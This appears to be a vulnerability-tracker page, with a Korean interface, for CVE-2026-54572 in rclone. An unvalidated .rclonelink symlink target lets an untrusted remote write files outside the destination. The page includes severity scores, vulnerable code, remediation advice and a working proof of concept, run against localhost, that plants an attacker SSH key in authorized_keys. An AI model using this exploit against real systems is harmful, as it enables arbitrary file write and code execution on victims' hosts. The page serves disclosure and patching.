Kestrel
대시보드로 돌아가기
CVE-2026-54572HIGH· 7.5MITRENVDGHSA대응게시일: 2026. 07. 14.수정일: 2026. 08. 05.

rclone: Unvalidated symlink target in local `--links` — arbitrary file write from an untrusted remote

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS
0.4%상위 70.2%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도높음
필요 권한불필요
사용자 상호작용필요
범위변경
영향
기밀성 영향낮음
무결성 영향높음
가용성 영향낮음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L

상세 설명

Summary

With -l/--links, rclone serializes symlinks as <name>.rclonelink text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with os.Symlink(<object body>, <dest path>) and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or ../ path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named <name>.rclonelink sorts before <name>/..., rclone creates the escaping symlink first and then writes a following object "inside" it; mkdirAll/OpenFile follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting ~/.ssh/authorized_keys, ~/.bashrc, or a crontab — i.e. code execution.

Details

backend/local/local.go, Object.Update():

text
1} else {
2 out = nopWriterCloser{&symlinkData} // body of <name>.rclonelink = attacker data
3}
4...
5if o.translatedLink {
6 if err == nil {
7 if _, err := os.Lstat(o.path); err == nil {
8 os.Remove(o.path)
9 }
10 // Use the contents for the copied object to create a symlink
11 err = os.Symlink(symlinkData.String(), o.path) // <-- target NEVER validated (abs / .. allowed)
12 }
13}

symlinkData is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (mkdirAll()file.MkdirAll, then file.OpenFile(..., O_CREATE)) follows existing symlink components with no O_NOFOLLOW, so a file written under the planted symlinked directory escapes the destination.

PoC

  1. Get the official stable binary:
bash
1curl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip
2unzip -j rclone-v1.74.3-linux-amd64.zip '*/rclone' -d . # ./rclone -> v1.74.3
  1. Create an attacker-controlled "remote" (two objects) and a victim layout:
bash
1mkdir -p evil/pwn dest victimhome/.ssh
2printf '%s' "$PWD/victimhome/.ssh" > evil/pwn.rclonelink # body = abs path OUTSIDE dest
3printf 'ssh-ed25519 AAAA_ATTACKER_KEY pwned\n' > evil/pwn/authorized_keys
4ls -l victimhome/.ssh # empty (before)
  1. Serve the malicious remote (models any untrusted remote — bucket / WebDAV / HTTP share):
text
1cd evil && python3 -m http.server 38080 --bind 127.0.0.1
  1. VICTIM ACTION — back up the untrusted remote preserving symlinks:
text
1./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v
  1. Observe — a file landed OUTSIDE ./dest:
bash
1ls -l dest/pwn # dest/pwn -> .../victimhome/.ssh (symlink escapes dest)
2cat victimhome/.ssh/authorized_keys # ssh-ed25519 AAAA_ATTACKER_KEY pwned <-- written outside dest

pwn.rclonelink sorts before pwn/authorized_keys, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites ~/.ssh/authorized_keys, ~/.bashrc, or a crontab → code execution.

Impact

An attacker who controls the contents of any remote a victim syncs with -l/--links gains arbitrary file write as the victim user, anywhere that user can write. Overwriting ~/.ssh/authorized_keys, shell rc files, or cron files yields remote code execution on the victim's host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal).

Remediation

In Object.Update() reject symlink targets that are absolute or escape the destination root before calling os.Symlink (resolve filepath.Join(dir, target) and require it to stay within the configured root, or refuse absolute/.. targets), and write objects with O_NOFOLLOW on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a .rclonelink with target /tmp/... and a sibling file, asserting nothing is written outside the destination.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.